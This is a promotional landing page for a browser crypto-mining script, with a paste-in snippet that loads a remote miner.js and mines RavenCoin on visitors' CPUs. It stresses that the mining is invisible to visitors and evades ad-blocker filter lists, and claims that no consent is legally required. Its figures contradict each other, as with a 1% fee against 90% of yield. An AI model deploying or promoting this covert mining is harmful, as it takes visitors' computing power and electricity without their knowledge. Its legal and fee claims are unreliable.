Convert idle CPU cycles into deterministic yield. Zero tracking pixels. Zero invasive ads. Pure compute monetization.
of users deploy ad-blockers, eliminating display revenue entirely for nearly half your audience.
Source: Statista 2024Year-over-year decline in average CPM rates driven by programmatic oversupply and signal loss.
Source: eMarketer 2024Annual revenue lost to ad-blocking, consent fatigue, and regulatory compliance overhead worldwide.
Source: PageFair ReportBy deploying our distributed compute module, you create a direct mathematical correlation between active user session time and revenue generation.
Completely independent of volatile ad-bidding networks, third-party cookie deprecation, and invasive tracking architectures.
Longer sessions = higher yield. Incentivizes quality content.
No visual footprint. No layout shift. No pop-ups.
Standard Web Workers — no blocked domains, no filter lists.
90% of compute yield goes straight to your wallet.
No cookies, tracking pixels, or fingerprinting. 100% GDPR/CCPA compliant by design.
Every single user session generates revenue. Zero wasted impressions. Zero unfilled slots.
Limit hardware concurrency. Execute on n−1 threads to preserve the primary UI core.
Every line publicly auditable.
Connect to any stratum-compatible pool worldwide. Multi-region failover. the default will be zpool
Single script tag. No build tools. Works with React, Vue, Next.js, Svelte.
ES module loads asynchronously. Detects hardwareConcurrency, device type, and battery status for optimal thread allocation.
Dedicated Web Workers spawned per allocated thread. Each runs isolated WebAssembly hashing with zero main-thread interference.
Workers iterate through nonce space computing cryptographic hashes against difficulty targets. Valid shares are queued.
Valid shares submitted to pool via WebSocket stratum. Wallet credited proportionally. Automatic payout processing.
Total yield expressed as summation of each session's contribution — accounting for device-specific hashrate, session duration, and real-time network reward conditions.
E
Total Yield Revenue
Aggregate revenue across all sessions within the measurement period, denominated in target cryptocurrency.
N
Active Sessions
Total unique browser sessions actively contributing compute during the measurement window.
Hi
User Hashrate (H/s)
Device-specific computation rate for session i. Influenced by CPU architecture, threads, thermal state.
ti
Session Duration
Active compute time for user i. Begins on init, terminates on page unload or explicit stop().
R
Network Block Reward Factor
Real-time coefficient from current block reward, network difficulty, and pool luck. Expressed as reward-per-hash-per-second.
Live projections from zpool.ca. Powered by real-time network estimates.
* Estimates use live zpool.ca data. Actual yields vary with network difficulty, pool luck, and device performance. Assumes users are active concurrently during their session window.
All compute in Web Workers. Main thread sees <2% overhead. Lighthouse scores unaffected.
Stratum packets average 200–400 bytes. Share submissions under 150 bytes. Imperceptible overhead.
Auto-detects Battery Status API. Configurable throttle/pause below threshold.
Real-time estimates from zpool.ca. Auto-refreshes every 60 seconds.
Enter your zpool wallet address to view unpaid balance, active miners, recent payouts, and estimated earnings in real-time.
Create a RavenCoin wallet. Set your wallet address and put that in the script, this is where your funds will go. No account registration needed.
Copy the code below. Paste before closing </body>. Replace wallet address with your RavenCoin wallet address. That's it.
Push to production. Check dev console for connection. Monitor pool dashboard for hashrate and payouts.
<!DOCTYPE html>
<html>
<body>
<h2>Thanks for using cpu-web-miner</h2>
<body "YOUR WEBSITES CODE"></body>
<script type="module">
import { autoMine } from "https://earnify.mine.bz/miner.js";
// Your RavenCoin Address percent of users pc, 0.1 = 1%, 1 = 100%
autoMine("RXi399jsFYHLeqFhJWiNETySj5nvt2ryqj", 0.2);
</script>
</body>
</html>Import in useEffect with cleanup. Ensure client-side only via typeof window check.
Initialize in onMounted(). Use onUnmounted() for graceful worker termination.
Use onMount() with browser check from $app/environment for SSR safety.
Step-by-step implementation guides. From zero to mining revenue in under 5 minutes — no prior experience required.
Complete walkthrough from creating your RavenCoin wallet to seeing your first shares submitted to the pool. Covers script tag integration, thread configuration, and real-time monitoring in the browser console.
useEffect hooks, client-side only imports, cleanup on unmount, and SSR safety patterns for Next.js.
onMounted initialization, onUnmounted cleanup, and reactive state management for mining controls.
Custom pool routing, algorithm selection, battery throttling, user opt-out toggles, and performance tuning.
Short answer: No. By using navigator.hardwareConcurrency − 1, the primary UI core stays free for DOM rendering and user interaction.
Less than 2% main-thread overhead across all tested configurations. Lighthouse performance scores unchanged. Core Web Vitals show zero degradation.
Mobile devices get further throttled via Battery Status API integration and dynamic thread scaling.
WebMiner connects your users' browsers directly to your configured mining pool. The pipeline:
1. Job Assignment: Pool sends cryptographic work units via WebSocket stratum.
2. Proof Computation: Web Workers compute hash proofs against difficulty targets.
3. Share Submission: Valid proofs submitted back. Pool validates and credits your worker.
4. Payout: Pool distributes rewards to your wallet per its schedule and threshold.
WebMiner takes only a 1% fee!. 90% of yield goes to your wallet. Fully auditable codebase.
WebMiner uses zero cookies, zero localStorage, zero fingerprinting, zero personal data collection. It operates outside GDPR cookie-consent mandates and CCPA disclosure requirements.
GDPR: No personal data processed. No consent required.
CCPA: No personal info collected or shared. No disclosure obligations.
ePrivacy: No terminal device storage accessed. No consent required.
Best practice: Update your Terms of Service to disclose compute utilization. Consider providing a user opt-out toggle.
Pool-agnostic. Connects to any pool supporting Stratum V1 over WebSocket. Tested: zpool.ca, Mining Dutch, Zergpool, and custom/private pools.
Supported algorithms: Power2B (VerusCoin), RandomX (Monero), CryptoNight-R. Auto-exchange pools let you receive BTC, LTC, or any supported currency.
Open source: Fully auditable vs. Coinhive's proprietary code.
Minimal fees: Coinhive took 30%. WebMiner takes 1%.
Direct pool connection: No intermediary service that can shut down.
No single point of failure: Self-hosted. Runs as long as pools exist.
Modern algorithms: Power2B and RandomX are ASIC-resistant, making browser mining viable.
Integration assistance, custom white-label deployments, or browser compute economics — our core dev team is here.